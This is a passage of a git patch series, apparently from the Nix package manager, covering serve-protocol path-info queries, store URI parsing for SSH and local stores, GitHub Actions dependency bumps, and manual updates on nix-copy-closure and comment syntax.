'/nix/store/gm61h1y42pqyl6178g90x8zm22n6pyy5-libunistring-1.1' to 'ssh://alice@itchy.example.org'... +> copying path '/nix/store/ddfzjdykw67s20c35i7a6624by3iz5jv-libidn2-2.3.7' to 'ssh://alice@itchy.example.org'... +> copying path '/nix/store/apab5i73dqa09wx0q27b6fbhd1r18ihl-glibc-2.39-31' to 'ssh://alice@itchy.example.org'... +> copying path '/nix/store/g1n2vryg06amvcc1avb2mcq36faly0mh-hello-2.12.1' to 'ssh://alice@itchy.example.org'... +> ``` -```console -$ nix-copy-closure --to alice@itchy.example.org $(type -P firefox) -``` - -Copy Subversion from a remote machine and then install it into a user -environment: - -```console -$ nix-copy-closure --from alice@itchy.example.org \ - /nix/store/0dj0503hjxy5mbwlafv1rsbdiyx1gkdy-subversion-1.4.4 -$ nix-env --install /nix/store/0dj0503hjxy5mbwlafv1rsbdiyx1gkdy-subversion-1.4.4 -``` +> **Example** +> +> Copy GNU Hello from a remote machine using a known store path, and run it: +> +> ```shell-session +> $ storePath="$(nix-instantiate --eval '' -I nixpkgs=channel:nixpkgs-unstable -A hello.outPath | tr -d '"')" +> $ nix-copy-closure --from alice@itchy.example.org "$storePath" +> $ "$storePath"/bin/hello +> Hello, world! +> ``` From 8b369f90fd2422a03310a0d3c623668e86e00e01 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Mon, 20 May 2024 17:41:12 -0400 Subject: [PATCH 0632/1251] Query path infos (plural) and handshake version minimum for hydra 1. Hydra currently queries for multiple path infos at once, so let us make a connection item for that. 2. The minimum of the two versions should always be used, see #9584. (The issue remains open because the daemon protocol needs to be likewise updated.) --- src/libstore/legacy-ssh-store.cc | 32 ++++++++++++++------------- src/libstore/serve-protocol-impl.cc | 29 ++++++++++++++++++++++-- src/libstore/serve-protocol-impl.hh | 4 ++++ tests/unit/libstore/serve-protocol.cc | 3 ++- 4 files changed, 50 insertions(+), 18 deletions(-) diff --git a/src/libstore/legacy-ssh-store.cc b/src/libstore/legacy-ssh-store.cc index e422adeec..9bc986bfa 100644 --- a/src/libstore/legacy-ssh-store.cc +++ b/src/libstore/legacy-ssh-store.cc @@ -105,24 +105,26 @@ void LegacySSHStore::queryPathInfoUncached(const StorePath & path, debug("querying remote host '%s' for info on '%s'", host, printStorePath(path)); - conn->to << ServeProto::Command::QueryPathInfos << PathSet{printStorePath(path)}; - conn->to.flush(); + auto infos = conn->queryPathInfos(*this, {path}); - auto p = readString(conn->from); - if (p.empty()) return callback(nullptr); - auto path2 = parseStorePath(p); - assert(path == path2); - auto info = std::make_shared( - path, - ServeProto::Serialise::read(*this, *conn)); + switch (infos.size()) { + case 0: + return callback(nullptr); + case 1: { + auto & [path2, info] = *infos.begin(); - if (info->narHash == Hash::dummy) - throw Error("NAR hash is now mandatory"); + if (info.narHash == Hash::dummy) + throw Error("NAR hash is now mandatory"); - auto s = readString(conn->from); - assert(s == ""); - - callback(std::move(info)); + assert(path == path2); + return callback(std::make_shared( + std::move(path), + std::move(info) + )); + } + default: + throw Error("More path infos returned than queried"); + } } catch (...) { callback.rethrow(); } } diff --git a/src/libstore/serve-protocol-impl.cc b/src/libstore/serve-protocol-impl.cc index b39212884..5e1d3f1e8 100644 --- a/src/libstore/serve-protocol-impl.cc +++ b/src/libstore/serve-protocol-impl.cc @@ -19,7 +19,7 @@ ServeProto::Version ServeProto::BasicClientConnection::handshake( auto remoteVersion = readInt(from); if (GET_PROTOCOL_MAJOR(remoteVersion) != 0x200) throw Error("unsupported 'nix-store --serve' protocol version on '%s'", host); - return remoteVersion; + return std::min(remoteVersion, localVersion); } ServeProto::Version ServeProto::BasicServerConnection::handshake( @@ -31,7 +31,8 @@ ServeProto::Version ServeProto::BasicServerConnection::handshake( if (magic != SERVE_MAGIC_1) throw Error("protocol mismatch"); to << SERVE_MAGIC_2 << localVersion; to.flush(); - return readInt(from); + auto remoteVersion = readInt(from); + return std::min(remoteVersion, localVersion); } @@ -51,6 +52,30 @@ StorePathSet ServeProto::BasicClientConnection::queryValidPaths( } +std::map ServeProto::BasicClientConnection::queryPathInfos( + const Store & store, + const StorePathSet & paths) +{ + std::map infos; + + to << ServeProto::Command::QueryPathInfos; + ServeProto::write(store, *this, paths); + to.flush(); + + while (true) { + auto storePathS = readString(from); + if (storePathS == "") break; + + auto storePath = store.parseStorePath(storePathS); + assert(paths.count(storePath) == 1); + auto info = ServeProto::Serialise::read(store, *this); + infos.insert_or_assign(std::move(storePath), std::move(info)); + } + + return infos; +} + + void ServeProto::BasicClientConnection::putBuildDerivationRequest( const Store & store, const StorePath & drvPath, const BasicDerivation & drv, diff --git a/src/libstore/serve-protocol-impl.hh b/src/libstore/serve-protocol-impl.hh index fd8d94697..1d9c79ef0 100644 --- a/src/libstore/serve-protocol-impl.hh +++ b/src/libstore/serve-protocol-impl.hh @@ -122,6 +122,10 @@ struct ServeProto::BasicClientConnection bool lock, const StorePathSet & paths, SubstituteFlag maybeSubstitute); + std::map queryPathInfos( + const Store & store, + const StorePathSet & paths); + /** * Just the request half, because Hydra may do other things between * issuing the request and reading the `BuildResult` response. diff --git a/tests/unit/libstore/serve-protocol.cc b/tests/unit/libstore/serve-protocol.cc index b2fd0fb82..61dc15528 100644 --- a/tests/unit/libstore/serve-protocol.cc +++ b/tests/unit/libstore/serve-protocol.cc @@ -505,7 +505,8 @@ TEST_F(ServeProtoTest, handshake_client_corrupted_throws) } else { auto ver = ServeProto::BasicClientConnection::handshake( nullSink, in, defaultVersion, "blah"); - EXPECT_NE(ver, defaultVersion); + // `std::min` of this and the other version saves us + EXPECT_EQ(ver, defaultVersion); } } }); From 7577597cc4f6bad5fc6e64467ef6cce048c95569 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 20 May 2024 22:51:53 +0000 Subject: [PATCH 0633/1251] --- updated-dependencies: - dependency-name: cachix/cachix-action dependency-type: direct:production update-type: version-update:semver-major ... Signed-off-by: dependabot[bot] --- .github/workflows/ci.yml | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 2b8eac49d..2a55c7fd3 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -25,7 +25,7 @@ jobs: # The sandbox would otherwise be disabled by default on Darwin extra_nix_config: "sandbox = true" - run: echo CACHIX_NAME="$(echo $GITHUB_REPOSITORY-install-tests | tr "[A-Z]/" "[a-z]-")" >> $GITHUB_ENV - - uses: cachix/cachix-action@v14 + - uses: cachix/cachix-action@v15 if: needs.check_secrets.outputs.cachix == 'true' with: name: '${{ env.CACHIX_NAME }}' @@ -65,7 +65,7 @@ jobs: - uses: cachix/install-nix-action@v26 with: install_url: https://releases.nixos.org/nix/nix-2.20.3/install - - uses: cachix/cachix-action@v14 + - uses: cachix/cachix-action@v15 with: name: '${{ env.CACHIX_NAME }}' signingKey: '${{ secrets.CACHIX_SIGNING_KEY }}' @@ -119,7 +119,7 @@ jobs: install_url: https://releases.nixos.org/nix/nix-2.20.3/install - run: echo CACHIX_NAME="$(echo $GITHUB_REPOSITORY-install-tests | tr "[A-Z]/" "[a-z]-")" >> $GITHUB_ENV - run: echo NIX_VERSION="$(nix --experimental-features 'nix-command flakes' eval .\#default.version | tr -d \")" >> $GITHUB_ENV - - uses: cachix/cachix-action@v14 + - uses: cachix/cachix-action@v15 if: needs.check_secrets.outputs.cachix == 'true' with: name: '${{ env.CACHIX_NAME }}' From 041fec0b5c6c9fe2e75b0069ed346cca9db6adc6 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 20 May 2024 22:51:54 +0000 Subject: [PATCH 0634/1251] --- updated-dependencies: - dependency-name: cachix/install-nix-action dependency-type: direct:production update-type: version-update:semver-major ... Signed-off-by: dependabot[bot] --- .github/workflows/ci.yml | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 2b8eac49d..7374e1819 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -20,7 +20,7 @@ jobs: - uses: actions/checkout@v4 with: fetch-depth: 0 - - uses: cachix/install-nix-action@v26 + - uses: cachix/install-nix-action@V27 with: # The sandbox would otherwise be disabled by default on Darwin extra_nix_config: "sandbox = true" @@ -62,7 +62,7 @@ jobs: with: fetch-depth: 0 - run: echo CACHIX_NAME="$(echo $GITHUB_REPOSITORY-install-tests | tr "[A-Z]/" "[a-z]-")" >> $GITHUB_ENV - - uses: cachix/install-nix-action@v26 + - uses: cachix/install-nix-action@V27 with: install_url: https://releases.nixos.org/nix/nix-2.20.3/install - uses: cachix/cachix-action@v14 @@ -84,7 +84,7 @@ jobs: steps: - uses: actions/checkout@v4 - run: echo CACHIX_NAME="$(echo $GITHUB_REPOSITORY-install-tests | tr "[A-Z]/" "[a-z]-")" >> $GITHUB_ENV - - uses: cachix/install-nix-action@v26 + - uses: cachix/install-nix-action@V27 with: install_url: '${{needs.installer.outputs.installerURL}}' install_options: "--tarball-url-prefix https://${{ env.CACHIX_NAME }}.cachix.org/serve" @@ -114,7 +114,7 @@ jobs: - uses: actions/checkout@v4 with: fetch-depth: 0 - - uses: cachix/install-nix-action@v26 + - uses: cachix/install-nix-action@V27 with: install_url: https://releases.nixos.org/nix/nix-2.20.3/install - run: echo CACHIX_NAME="$(echo $GITHUB_REPOSITORY-install-tests | tr "[A-Z]/" "[a-z]-")" >> $GITHUB_ENV From 56afe228df1f1b6c9e69137871b9f0c322278ccd Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Marcus=20R=C3=BCckert?= Date: Tue, 21 May 2024 00:52:11 +0200 Subject: [PATCH 0635/1251] Use CFLAGS for libseccomp from pkg-config also for the CFLAGS Otherwise the configure check for fchmodat2 afterwards fails because it can not find the header files. --- configure.ac | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/configure.ac b/configure.ac index b2a5794b5..90a6d45d5 100644 --- a/configure.ac +++ b/configure.ac @@ -313,7 +313,7 @@ case "$host_os" in ])) if test "x$enable_seccomp_sandboxing" != "xno"; then PKG_CHECK_MODULES([LIBSECCOMP], [libseccomp], - [CXXFLAGS="$LIBSECCOMP_CFLAGS $CXXFLAGS"]) + [CXXFLAGS="$LIBSECCOMP_CFLAGS $CXXFLAGS" CFLAGS="$LIBSECCOMP_CFLAGS $CFLAGS"]) have_seccomp=1 AC_DEFINE([HAVE_SECCOMP], [1], [Whether seccomp is available and should be used for sandboxing.]) AC_COMPILE_IFELSE([ From 142222030c823286939bcc317fbd5824067319cc Mon Sep 17 00:00:00 2001 From: Philipp Zander Date: Thu, 16 May 2024 02:33:58 +0200 Subject: [PATCH 0636/1251] remove redundant and outdated example from `libexpr-c` documentation --- doc/external-api/README.md | 2 +- src/libexpr-c/nix_api_expr.h | 20 +------------------- 2 files changed, 2 insertions(+), 20 deletions(-) diff --git a/doc/external-api/README.md b/doc/external-api/README.md index 167c02199..e6612221b 100644 --- a/doc/external-api/README.md +++ b/doc/external-api/README.md @@ -27,7 +27,7 @@ appreciated. The following examples, for simplicity, don't include error handling. See the [Handling errors](@ref errors) section for more information. -# Embedding the Nix Evaluator +# Embedding the Nix Evaluator{#nix_evaluator_example} In this example we programmatically start the Nix language evaluator with a dummy store (that has no store paths and cannot be written to), and evaluate the diff --git a/src/libexpr-c/nix_api_expr.h b/src/libexpr-c/nix_api_expr.h index 04fc92f0f..ce0062ee1 100644 --- a/src/libexpr-c/nix_api_expr.h +++ b/src/libexpr-c/nix_api_expr.h @@ -3,25 +3,7 @@ /** @defgroup libexpr libexpr * @brief Bindings to the Nix language evaluator * - * Example (without error handling): - * @code{.c} - * int main() { - * nix_libexpr_init(NULL); - * - * Store* store = nix_store_open(NULL, "dummy", NULL); - * EvalState* state = nix_state_create(NULL, NULL, store); // empty nix path - * Value *value = nix_alloc_value(NULL, state); - * - * nix_expr_eval_from_string(NULL, state, "builtins.nixVersion", ".", value); - * nix_value_force(NULL, state, value); - * printf("nix version: %s\n", nix_get_string(NULL, value)); - * - * nix_gc_decref(NULL, value); - * nix_state_free(state); - * nix_store_free(store); - * return 0; - * } - * @endcode + * See *[Embedding the Nix Evaluator](@ref nix_evaluator_example)* for an example. * @{ */ /** @file From bb1a4ea21a6af3c37c7d1c948e36678c96c3f499 Mon Sep 17 00:00:00 2001 From: eihqnh Date: Mon, 13 May 2024 21:12:58 +0800 Subject: [PATCH 0637/1251] nix repl: make runNix() isInteractive is true by default --- src/libcmd/repl.cc | 9 +++------ 1 file changed, 3 insertions(+), 6 deletions(-) diff --git a/src/libcmd/repl.cc b/src/libcmd/repl.cc index 8a9155ab6..2aa674e2f 100644 --- a/src/libcmd/repl.cc +++ b/src/libcmd/repl.cc @@ -137,12 +137,13 @@ void runNix(Path program, const Strings & args, { auto subprocessEnv = getEnv(); subprocessEnv["NIX_CONFIG"] = globalConfig.toKeyValue(); - + //isInteractive avoid grabling interactive commands runProgram2(RunOptions { .program = settings.nixBinDir+ "/" + program, .args = args, .environment = subprocessEnv, .input = input, + .isInteractive = true, }); return; @@ -508,13 +509,9 @@ ProcessLineResult NixRepl::processLine(std::string line) auto editor = args.front(); args.pop_front(); - // avoid garbling the editor with the progress bar - logger->pause(); - Finally resume([&]() { logger->resume(); }); - // runProgram redirects stdout to a StringSink, // using runProgram2 to allow editors to display their UI - runProgram2(RunOptions { .program = editor, .lookupPath = true, .args = args }); + runProgram2(RunOptions { .program = editor, .lookupPath = true, .args = args , .isInteractive = true }); // Reload right after exiting the editor state->resetFileCache(); From 117dbc2c46de41d81385a70149ed5dbf331e5f00 Mon Sep 17 00:00:00 2001 From: Valentin Gagarin Date: Tue, 21 May 2024 16:42:59 +0200 Subject: [PATCH 0638/1251] add examples of comments make a suggestion for what to do if one wants to write nested comments --- doc/manual/src/language/constructs.md | 59 ++++++++++++++++++++++++--- 1 file changed, 54 insertions(+), 5 deletions(-) diff --git a/doc/manual/src/language/constructs.md b/doc/manual/src/language/constructs.md index 4d75ea82c..491d221b3 100644 --- a/doc/manual/src/language/constructs.md +++ b/doc/manual/src/language/constructs.md @@ -414,12 +414,62 @@ Does evaluate to `"inner"`. ## Comments -Comments can be single-line, started with a `#` character, or -inline/multi-line, enclosed within `/* ... */`. +- Inline comments start with `#` and run until the end of the line. -`#` comments last until the end of the line. + > **Example** + > + > ```nix + > # A number + > 2 # Equals 1 + 1 + > ``` + > + > ```console + > 2 + > ``` -`/*` comments run until the next occurrence of `*/`; this cannot be escaped. +- Block comments start with `/*` and run until the next occurrence of `*/`. + + > **Example** + > + > ```nix + > /* + > Block comments + > can span multiple lines. + > */ "hello" + > ``` + > + > ```console + > "hello" + > ``` + + This means that block comments cannot be nested. + + > **Example** + > + > ```nix + > /* /* nope */ */ 1 + > ``` + > + > ```console + > error: syntax error, unexpected '*' + > + > at «string»:1:15: + > + > 1| /* /* nope */ * + > | ^ + > ``` + + Consider escaping nested comments and unescaping them in post-processing. + + > **Example** + > + > ```nix + > /* /* nested *\/ */ 1 + > ``` + > + > ```console + > 1 + > ``` ## Scoping rules @@ -432,6 +482,5 @@ Nix is [statically scoped](https://en.wikipedia.org/wiki/Scope_(computer_science * secondary scope --- implicitly-bound variables * [`with`](#with-expressions) - Primary scope takes precedence over secondary scope. See [`with`](#with-expressions) for a detailed example. From 470c0501eb994c8a31f03561d4d38114236ab8b3 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Thu, 25 Jan 2024 10:31:52 -0500 Subject: [PATCH 0639/1251] Ensure all store types support "real" URIs MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit In particular `local://` and `unix://` (without any path) now work, and mean the same things as `local` and `daemon`, respectively. We thus now have the opportunity to desguar `local` and `daemon` early. This will allow me to make a change to https://github.com/NixOS/nix/pull/9839 requested during review to desugar those earlier. Co-authored-by: Théophane Hufschmitt <7226587+thufschmitt@users.noreply.github.com> --- src/libstore/dummy-store.cc | 7 ++-- src/libstore/http-binary-cache-store.cc | 11 +++++-- src/libstore/legacy-ssh-store.cc | 16 +++++++-- src/libstore/legacy-ssh-store.hh | 12 ++++++- src/libstore/local-binary-cache-store.cc | 8 +++-- src/libstore/local-store.cc | 16 +++++++-- src/libstore/local-store.hh | 7 ++-- src/libstore/s3-binary-cache-store.cc | 10 +++--- src/libstore/ssh-store-config.cc | 24 ++++++++++++++ src/libstore/ssh-store-config.hh | 23 +++++++++++++ src/libstore/ssh-store.cc | 26 +++++++++++---- src/libstore/ssh.cc | 6 +++- src/libstore/ssh.hh | 6 +++- src/libstore/store-api.cc | 42 ++---------------------- src/libstore/store-api.hh | 11 +++++-- src/libstore/uds-remote-store.cc | 8 +++-- src/libstore/uds-remote-store.hh | 5 ++- src/libstore/unix/local-overlay-store.hh | 2 +- tests/functional/read-only-store.sh | 5 ++- 19 files changed, 170 insertions(+), 75 deletions(-) create mode 100644 src/libstore/ssh-store-config.cc diff --git a/src/libstore/dummy-store.cc b/src/libstore/dummy-store.cc index 30f23cff9..0d5d03091 100644 --- a/src/libstore/dummy-store.cc +++ b/src/libstore/dummy-store.cc @@ -18,9 +18,12 @@ struct DummyStoreConfig : virtual StoreConfig { struct DummyStore : public virtual DummyStoreConfig, public virtual Store { - DummyStore(const std::string scheme, const std::string uri, const Params & params) + DummyStore(std::string_view scheme, std::string_view authority, const Params & params) : DummyStore(params) - { } + { + if (!authority.empty()) + throw UsageError("`%s` store URIs must not contain an authority part %s", scheme, authority); + } DummyStore(const Params & params) : StoreConfig(params) diff --git a/src/libstore/http-binary-cache-store.cc b/src/libstore/http-binary-cache-store.cc index 5da87e935..3328caef9 100644 --- a/src/libstore/http-binary-cache-store.cc +++ b/src/libstore/http-binary-cache-store.cc @@ -39,15 +39,20 @@ private: public: HttpBinaryCacheStore( - const std::string & scheme, - const Path & _cacheUri, + std::string_view scheme, + PathView _cacheUri, const Params & params) : StoreConfig(params) , BinaryCacheStoreConfig(params) , HttpBinaryCacheStoreConfig(params) , Store(params) , BinaryCacheStore(params) - , cacheUri(scheme + "://" + _cacheUri) + , cacheUri( + std::string { scheme } + + "://" + + (!_cacheUri.empty() + ? _cacheUri + : throw UsageError("`%s` Store requires a non-empty authority in Store URL", scheme))) { while (!cacheUri.empty() && cacheUri.back() == '/') cacheUri.pop_back(); diff --git a/src/libstore/legacy-ssh-store.cc b/src/libstore/legacy-ssh-store.cc index 9bc986bfa..c75d50ade 100644 --- a/src/libstore/legacy-ssh-store.cc +++ b/src/libstore/legacy-ssh-store.cc @@ -28,8 +28,18 @@ struct LegacySSHStore::Connection : public ServeProto::BasicClientConnection bool good = true; }; +LegacySSHStore::LegacySSHStore( + std::string_view scheme, + std::string_view host, + const Params & params) + : LegacySSHStore{scheme, LegacySSHStoreConfig::extractConnStr(scheme, host), params} +{ +} -LegacySSHStore::LegacySSHStore(const std::string & scheme, const std::string & host, const Params & params) +LegacySSHStore::LegacySSHStore( + std::string_view scheme, + std::string host, + const Params & params) : StoreConfig(params) , CommonSSHStoreConfig(params) , LegacySSHStoreConfig(params) @@ -42,8 +52,8 @@ LegacySSHStore::LegacySSHStore(const std::string & scheme, const std::string & h )) , master( host, - sshKey, - sshPublicHostKey, + sshKey.get(), + sshPublicHostKey.get(), // Use SSH master only if using more than 1 connection. connections->capacity() > 1, compress, diff --git a/src/libstore/legacy-ssh-store.hh b/src/libstore/legacy-ssh-store.hh index 343823693..81872996a 100644 --- a/src/libstore/legacy-ssh-store.hh +++ b/src/libstore/legacy-ssh-store.hh @@ -41,7 +41,17 @@ struct LegacySSHStore : public virtual LegacySSHStoreConfig, public virtual Stor static std::set uriSchemes() { return {"ssh"}; } - LegacySSHStore(const std::string & scheme, const std::string & host, const Params & params); + LegacySSHStore( + std::string_view scheme, + std::string_view host, + const Params & params); + +private: + LegacySSHStore( + std::string_view scheme, + std::string host, + const Params & params); +public: ref openConnection(); diff --git a/src/libstore/local-binary-cache-store.cc b/src/libstore/local-binary-cache-store.cc index 87a6026f1..3e25ab8a4 100644 --- a/src/libstore/local-binary-cache-store.cc +++ b/src/libstore/local-binary-cache-store.cc @@ -28,9 +28,13 @@ private: public: + /** + * @param binaryCacheDir `file://` is a short-hand for `file:///` + * for now. + */ LocalBinaryCacheStore( - const std::string scheme, - const Path & binaryCacheDir, + std::string_view scheme, + PathView binaryCacheDir, const Params & params) : StoreConfig(params) , BinaryCacheStoreConfig(params) diff --git a/src/libstore/local-store.cc b/src/libstore/local-store.cc index dd06e5b65..c39060ba7 100644 --- a/src/libstore/local-store.cc +++ b/src/libstore/local-store.cc @@ -463,10 +463,20 @@ LocalStore::LocalStore(const Params & params) } -LocalStore::LocalStore(std::string scheme, std::string path, const Params & params) - : LocalStore(params) +LocalStore::LocalStore( + std::string_view scheme, + PathView path, + const Params & _params) + : LocalStore([&]{ + // Default `?root` from `path` if non set + if (!path.empty() && _params.count("root") == 0) { + auto params = _params; + params.insert_or_assign("root", std::string { path }); + return params; + } + return _params; + }()) { - throw UnimplementedError("LocalStore"); } diff --git a/src/libstore/local-store.hh b/src/libstore/local-store.hh index b3d7bd6d0..b0a0def9a 100644 --- a/src/libstore/local-store.hh +++ b/src/libstore/local-store.hh @@ -137,12 +137,15 @@ public: * necessary. */ LocalStore(const Params & params); - LocalStore(std::string scheme, std::string path, const Params & params); + LocalStore( + std::string_view scheme, + PathView path, + const Params & params); ~LocalStore(); static std::set uriSchemes() - { return {}; } + { return {"local"}; } /** * Implementations of abstract store API methods. diff --git a/src/libstore/s3-binary-cache-store.cc b/src/libstore/s3-binary-cache-store.cc index 1a62d92d4..e9850dce6 100644 --- a/src/libstore/s3-binary-cache-store.cc +++ b/src/libstore/s3-binary-cache-store.cc @@ -213,7 +213,7 @@ struct S3BinaryCacheStoreConfig : virtual BinaryCacheStoreConfig support it. > **Note** - > + > > HTTPS should be used if the cache might contain sensitive > information. )"}; @@ -224,7 +224,7 @@ struct S3BinaryCacheStoreConfig : virtual BinaryCacheStoreConfig Do not specify this setting if you're using Amazon S3. > **Note** - > + > > This endpoint must support HTTPS and will use path-based > addressing instead of virtual host based addressing. )"}; @@ -269,8 +269,8 @@ struct S3BinaryCacheStoreImpl : virtual S3BinaryCacheStoreConfig, public virtual S3Helper s3Helper; S3BinaryCacheStoreImpl( - const std::string & uriScheme, - const std::string & bucketName, + std::string_view uriScheme, + std::string_view bucketName, const Params & params) : StoreConfig(params) , BinaryCacheStoreConfig(params) @@ -281,6 +281,8 @@ struct S3BinaryCacheStoreImpl : virtual S3BinaryCacheStoreConfig, public virtual , bucketName(bucketName) , s3Helper(profile, region, scheme, endpoint) { + if (bucketName.empty()) + throw UsageError("`%s` store requires a bucket name in its Store URI", uriScheme); diskCache = getNarInfoDiskCache(); } diff --git a/src/libstore/ssh-store-config.cc b/src/libstore/ssh-store-config.cc new file mode 100644 index 000000000..742354cce --- /dev/null +++ b/src/libstore/ssh-store-config.cc @@ -0,0 +1,24 @@ +#include + +#include "ssh-store-config.hh" + +namespace nix { + +std::string CommonSSHStoreConfig::extractConnStr(std::string_view scheme, std::string_view _connStr) +{ + if (_connStr.empty()) + throw UsageError("`%s` store requires a valid SSH host as the authority part in Store URI", scheme); + + std::string connStr{_connStr}; + + std::smatch result; + static std::regex v6AddrRegex("^((.*)@)?\\[(.*)\\]$"); + + if (std::regex_match(connStr, result, v6AddrRegex)) { + connStr = result[1].matched ? result.str(1) + result.str(3) : result.str(3); + } + + return connStr; +} + +} diff --git a/src/libstore/ssh-store-config.hh b/src/libstore/ssh-store-config.hh index 4ce4ffc4c..09f9f23a7 100644 --- a/src/libstore/ssh-store-config.hh +++ b/src/libstore/ssh-store-config.hh @@ -24,6 +24,29 @@ struct CommonSSHStoreConfig : virtual StoreConfig to be used on the remote machine. The default is `auto` (i.e. use the Nix daemon or `/nix/store` directly). )"}; + + /** + * The `parseURL` function supports both IPv6 URIs as defined in + * RFC2732, but also pure addresses. The latter one is needed here to + * connect to a remote store via SSH (it's possible to do e.g. `ssh root@::1`). + * + * This function now ensures that a usable connection string is available: + * + * - If the store to be opened is not an SSH store, nothing will be done. + * + * - If the URL looks like `root@[::1]` (which is allowed by the URL parser and probably + * needed to pass further flags), it + * will be transformed into `root@::1` for SSH (same for `[::1]` -> `::1`). + * + * - If the URL looks like `root@::1` it will be left as-is. + * + * - In any other case, the string will be left as-is. + * + * Will throw an error if `connStr` is empty too. + */ + static std::string extractConnStr( + std::string_view scheme, + std::string_view connStr); }; } diff --git a/src/libstore/ssh-store.cc b/src/libstore/ssh-store.cc index 220d5d31b..246abaac2 100644 --- a/src/libstore/ssh-store.cc +++ b/src/libstore/ssh-store.cc @@ -32,9 +32,10 @@ struct SSHStoreConfig : virtual RemoteStoreConfig, virtual CommonSSHStoreConfig class SSHStore : public virtual SSHStoreConfig, public virtual RemoteStore { -public: - - SSHStore(const std::string & scheme, const std::string & host, const Params & params) + SSHStore( + std::string_view scheme, + std::string host, + const Params & params) : StoreConfig(params) , RemoteStoreConfig(params) , CommonSSHStoreConfig(params) @@ -44,14 +45,24 @@ public: , host(host) , master( host, - sshKey, - sshPublicHostKey, + sshKey.get(), + sshPublicHostKey.get(), // Use SSH master only if using more than 1 connection. connections->capacity() > 1, compress) { } +public: + + SSHStore( + std::string_view scheme, + std::string_view host, + const Params & params) + : SSHStore{scheme, SSHStoreConfig::extractConnStr(scheme, host), params} + { + } + static std::set uriSchemes() { return {"ssh-ng"}; } std::string getUri() override @@ -141,7 +152,10 @@ class MountedSSHStore : public virtual MountedSSHStoreConfig, public virtual SSH { public: - MountedSSHStore(const std::string & scheme, const std::string & host, const Params & params) + MountedSSHStore( + std::string_view scheme, + std::string_view host, + const Params & params) : StoreConfig(params) , RemoteStoreConfig(params) , CommonSSHStoreConfig(params) diff --git a/src/libstore/ssh.cc b/src/libstore/ssh.cc index 7e730299a..5eb63fa67 100644 --- a/src/libstore/ssh.cc +++ b/src/libstore/ssh.cc @@ -6,7 +6,11 @@ namespace nix { -SSHMaster::SSHMaster(const std::string & host, const std::string & keyFile, const std::string & sshPublicHostKey, bool useMaster, bool compress, int logFD) +SSHMaster::SSHMaster( + std::string_view host, + std::string_view keyFile, + std::string_view sshPublicHostKey, + bool useMaster, bool compress, int logFD) : host(host) , fakeSSH(host == "localhost") , keyFile(keyFile) diff --git a/src/libstore/ssh.hh b/src/libstore/ssh.hh index 3b1a0827a..be0a32287 100644 --- a/src/libstore/ssh.hh +++ b/src/libstore/ssh.hh @@ -39,7 +39,11 @@ private: public: - SSHMaster(const std::string & host, const std::string & keyFile, const std::string & sshPublicHostKey, bool useMaster, bool compress, int logFD = -1); + SSHMaster( + std::string_view host, + std::string_view keyFile, + std::string_view sshPublicHostKey, + bool useMaster, bool compress, int logFD = -1); struct Connection { diff --git a/src/libstore/store-api.cc b/src/libstore/store-api.cc index 419c55e92..6eba3a77d 100644 --- a/src/libstore/store-api.cc +++ b/src/libstore/store-api.cc @@ -21,7 +21,6 @@ #include "users.hh" #include -#include using json = nlohmann::json; @@ -1321,9 +1320,7 @@ std::shared_ptr openFromNonUri(const std::string & uri, const Store::Para warn("'%s' does not exist, so Nix will use '%s' as a chroot store", stateDir, chrootStore); } else debug("'%s' does not exist, so Nix will use '%s' as a chroot store", stateDir, chrootStore); - Store::Params params2; - params2["root"] = chrootStore; - return std::make_shared(params2); + return std::make_shared("local", chrootStore, params); } #endif else @@ -1333,42 +1330,12 @@ std::shared_ptr openFromNonUri(const std::string & uri, const Store::Para } else if (uri == "local") { return std::make_shared(params); } else if (isNonUriPath(uri)) { - Store::Params params2 = params; - params2["root"] = absPath(uri); - return std::make_shared(params2); + return std::make_shared("local", absPath(uri), params); } else { return nullptr; } } -// The `parseURL` function supports both IPv6 URIs as defined in -// RFC2732, but also pure addresses. The latter one is needed here to -// connect to a remote store via SSH (it's possible to do e.g. `ssh root@::1`). -// -// This function now ensures that a usable connection string is available: -// * If the store to be opened is not an SSH store, nothing will be done. -// * If the URL looks like `root@[::1]` (which is allowed by the URL parser and probably -// needed to pass further flags), it -// will be transformed into `root@::1` for SSH (same for `[::1]` -> `::1`). -// * If the URL looks like `root@::1` it will be left as-is. -// * In any other case, the string will be left as-is. -static std::string extractConnStr(const std::string &proto, const std::string &connStr) -{ - if (proto.rfind("ssh") != std::string::npos) { - std::smatch result; - std::regex v6AddrRegex("^((.*)@)?\\[(.*)\\]$"); - - if (std::regex_match(connStr, result, v6AddrRegex)) { - if (result[1].matched) { - return result.str(1) + result.str(3); - } - return result.str(3); - } - } - - return connStr; -} - ref openStore(const std::string & uri_, const Store::Params & extraParams) { @@ -1377,10 +1344,7 @@ ref openStore(const std::string & uri_, auto parsedUri = parseURL(uri_); params.insert(parsedUri.query.begin(), parsedUri.query.end()); - auto baseURI = extractConnStr( - parsedUri.scheme, - parsedUri.authority.value_or("") + parsedUri.path - ); + auto baseURI = parsedUri.authority.value_or("") + parsedUri.path; for (auto implem : *Implementations::registered) { if (implem.uriSchemes.count(parsedUri.scheme)) { diff --git a/src/libstore/store-api.hh b/src/libstore/store-api.hh index ae8c22437..a508e5a00 100644 --- a/src/libstore/store-api.hh +++ b/src/libstore/store-api.hh @@ -901,7 +901,14 @@ std::list> getDefaultSubstituters(); struct StoreFactory { std::set uriSchemes; - std::function (const std::string & scheme, const std::string & uri, const Store::Params & params)> create; + /** + * The `authorityPath` parameter is `/`, or really + * whatever comes after `://` and before `?`. + */ + std::function ( + std::string_view scheme, + std::string_view authorityPath, + const Store::Params & params)> create; std::function ()> getConfig; }; @@ -916,7 +923,7 @@ struct Implementations StoreFactory factory{ .uriSchemes = 